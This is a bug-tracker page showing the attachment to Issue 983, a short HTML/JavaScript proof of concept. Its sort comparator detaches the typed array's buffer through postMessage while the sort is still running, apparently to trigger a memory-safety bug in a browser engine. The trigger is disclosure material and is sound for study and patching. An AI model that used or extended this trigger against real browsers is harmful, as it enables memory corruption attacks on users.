New issue
Advanced search Search tips

Issue 983 attachment: search.html (445 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<html><body><script>

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);
var first = 0;


function v(){
alert("in v");
if( first == 0){
postMessage("test", "http://127.0.0.1", [buf])
first++;
}
return 7;

}

function compareNumbers(a, b) {
alert("in func");

return {valueOf : v};
}

try{
numbers.sort(compareNumbers);
}catch(e){

alert(e.message);

}
</script></body></html>